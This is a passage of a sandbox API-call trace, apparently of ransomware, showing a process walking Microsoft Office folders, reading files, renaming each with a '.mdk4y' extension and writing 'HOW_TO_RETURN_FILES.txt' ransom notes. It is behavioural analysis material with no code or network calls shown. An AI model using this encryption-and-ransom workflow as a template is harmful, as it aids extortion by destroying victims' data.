lpPerformanceCount=0x37df70*=1825443200000) returned 1 [0179.203] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2c681, lpOverlapped=0x0) returned 1 [0179.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825446700000) returned 1 [0179.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825446700000) returned 1 [0179.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.mdk4y")) returned 1 [0179.241] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0179.241] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0179.241] AreFileApisANSI () returned 1 [0179.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad710, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0179.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0179.242] GetFileType (hFile=0x128) returned 0x1 [0179.243] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0179.243] AreFileApisANSI () returned 1 [0179.243] GetACP () returned 0x4e4 [0179.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MEDIA", cchWideChar=5, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="MEDIAent Themes 14", lpUsedDefaultChar=0x37e064) returned 5 [0179.243] AreFileApisANSI () returned 1 [0179.243] GetACP () returned 0x4e4 [0179.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=40, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\ŀˈk") returned 40 [0179.244] AreFileApisANSI () returned 1 [0179.244] GetACP () returned 0x4e4 [0179.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".osoft Office\\Document Themes 14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0179.244] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.244] AreFileApisANSI () returned 1 [0179.244] GetACP () returned 0x4e4 [0179.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..soft Office\\Document Themes 14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0179.244] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.245] AreFileApisANSI () returned 1 [0179.245] GetACP () returned 0x4e4 [0179.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAGCAT10", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CAGCAT10ffice\\Document Themes 14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 8 [0179.245] AreFileApisANSI () returned 1 [0179.245] GetACP () returned 0x4e4 [0179.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7章k㑚ĺ휐j饠i)") returned 49 [0179.283] AreFileApisANSI () returned 1 [0179.284] GetACP () returned 0x4e4 [0179.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".aOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 1 [0179.284] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.297] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..Oz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 2 [0179.298] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.298] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="103363YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 4 [0179.298] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\쏸j툐i2") returned 54 [0179.298] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0179.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0179.298] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0179.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0179.298] AreFileApisANSI () returned 1 [0179.298] GetACP () returned 0x4e4 [0179.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAGCAT10.MML", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CAGCAT10.MMLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0179.298] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0179.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825452900000) returned 1 [0179.299] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c450, lpOverlapped=0x0) returned 1 [0179.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825456900000) returned 1 [0179.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825456900000) returned 1 [0179.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.mdk4y")) returned 1 [0179.343] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0179.343] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0179.344] AreFileApisANSI () returned 1 [0179.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0179.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0179.344] GetFileType (hFile=0xd8) returned 0x1 [0179.345] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.345] AreFileApisANSI () returned 1 [0179.345] GetACP () returned 0x4e4 [0179.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAGCAT10.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CAGCAT10.DLLnCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 12 [0179.345] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825457600000) returned 1 [0179.346] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3da0, lpOverlapped=0x0) returned 1 [0179.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825459400000) returned 1 [0179.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825459400000) returned 1 [0179.365] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.mdk4y")) returned 1 [0179.367] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.367] AreFileApisANSI () returned 1 [0179.367] GetACP () returned 0x4e4 [0179.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAGCAT10.MMW", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CAGCAT10.MMW", lpUsedDefaultChar=0x37df4c) returned 12 [0179.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825459800000) returned 1 [0179.368] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x603d8, lpOverlapped=0x0) returned 1 [0179.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825461400000) returned 1 [0179.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825461400000) returned 1 [0179.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.mdk4y")) returned 1 [0179.391] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.391] AreFileApisANSI () returned 1 [0179.391] GetACP () returned 0x4e4 [0179.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ELPHRG01.WAV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ELPHRG01.WAV", lpUsedDefaultChar=0x37df4c) returned 12 [0179.391] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825462200000) returned 1 [0179.392] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x585a, lpOverlapped=0x0) returned 1 [0179.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825462300000) returned 1 [0179.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825462300000) returned 1 [0179.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.mdk4y")) returned 1 [0179.394] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.394] AreFileApisANSI () returned 1 [0179.394] GetACP () returned 0x4e4 [0179.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0088542.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0088542.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.394] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825462500000) returned 1 [0179.395] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3602, lpOverlapped=0x0) returned 1 [0179.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825465400000) returned 1 [0179.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825465400000) returned 1 [0179.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.mdk4y")) returned 1 [0179.426] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.426] AreFileApisANSI () returned 1 [0179.426] GetACP () returned 0x4e4 [0179.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090070.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090070.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.426] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825465800000) returned 1 [0179.428] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8880, lpOverlapped=0x0) returned 1 [0179.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825466800000) returned 1 [0179.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825466800000) returned 1 [0179.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.mdk4y")) returned 1 [0179.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.440] AreFileApisANSI () returned 1 [0179.440] GetACP () returned 0x4e4 [0179.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090386.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090386.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.441] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825467300000) returned 1 [0179.444] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x830a, lpOverlapped=0x0) returned 1 [0179.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825468800000) returned 1 [0179.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825468800000) returned 1 [0179.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.mdk4y")) returned 1 [0179.460] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.460] AreFileApisANSI () returned 1 [0179.460] GetACP () returned 0x4e4 [0179.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149407.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149407.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.460] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825471200000) returned 1 [0179.482] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x870a, lpOverlapped=0x0) returned 1 [0179.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825472200000) returned 1 [0179.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825472200000) returned 1 [0179.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.mdk4y")) returned 1 [0179.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.494] AreFileApisANSI () returned 1 [0179.494] GetACP () returned 0x4e4 [0179.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0149481.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0149481.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825472400000) returned 1 [0179.494] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5eda, lpOverlapped=0x0) returned 1 [0179.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825474900000) 